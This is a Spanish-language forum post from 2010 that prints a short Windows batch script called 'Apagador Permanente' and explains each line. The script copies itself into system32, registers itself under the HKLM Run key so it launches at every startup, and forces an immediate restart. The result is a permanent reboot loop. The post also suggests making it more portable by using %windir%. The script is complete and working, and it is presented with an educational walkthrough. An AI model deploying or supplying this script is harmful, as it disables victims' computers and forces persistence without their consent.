[Analisis] Apagador Permantente

Iniciado por Xa0s, Junio 10, 2010, 11:16:52 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Este post lo tome de la base de datos de un antiguo foro mio, el autor es Boogeyman.
Bueno, otra vez más aquí con el Análisis Diario.

Que conste que no pongo el autor porque lo desconozco, además es un código simple y podrían haberlo descubierto varias personas durante un mismo periodo de tiempo.

Primero posteo el código y después lo analizo paso a paso:

Código: php


@echo off
copy /y %0 c:\windows\system32\Apagador-permanente.bat
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Hack /d c:\windows\system32\apagador-permanente.bat
shutdown -r -t 1
exit



Este código no es largo y lo puedo analizar todo de un tirón.

1- El "echo off" sirve para desactivar el eco del comando, lo que hace que no salga de dónde obtiene cada comando y cual es su resultado al ejecutar el script. Pero entonces... ¿la línea del "echo off" sí que se veería al ser la primera, verdad? Pues no, para esto sirve el "@" que está delante del "echo".

2- "copy" todos os hacéis una idea de lo que puede hacer, por muy newbie que seas. Copia un archivo a un directorio. El atributo "/y" sirve para que no pida la confirmación; lo que quiere decir que se copiara quiera el usuario o no. El "%0" es el parámetro que identifica al script; un poco más clarito: "%0" es el programa que se ejecuta. Y la ruta que hay después es la ruta a la que se copiará el programa.

3- Con "reg add" se añade una clave de registro a "HKML\Software\Microsoft\Windows\CurrentVersion\Run" el atributo "/v" sirve para añadir un nombre al registro y el parámetro "/d" para señalar el archivo que deseas añadir. En este caso es el recién copiado "c:\windows\system32\apagador-permanente.bat"

4- El comando "shutdown" es más bien virico. Sirve para apagar el PC. Su atributo "-r" sirve para que no se apage, sino que se reinicie. El atributo "-t" va seguido de un número. Ese número es el tiempo que tardará el ordenador en apagarse, o en este caso, reiniciarse.

5- El comando "exit" se usa para salir del script.

*Observaciones:

1- Si el script fuera mío, cambiaría "c:\windows" por "%windir%"; ya que no todo el mundo tiene instalados los programas en "c:\". Lo cambiaría en ambos sitios, en el "copy" y en el "reg add".

2- El comando exit en este script no vale para nada, pero bueno.

Bueno, esto es todo por hoy. Espero que les haya servido.

PD: El código fue extraido del "Manual_Batch_Desde_Cero" creado por Saok y Azrael.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta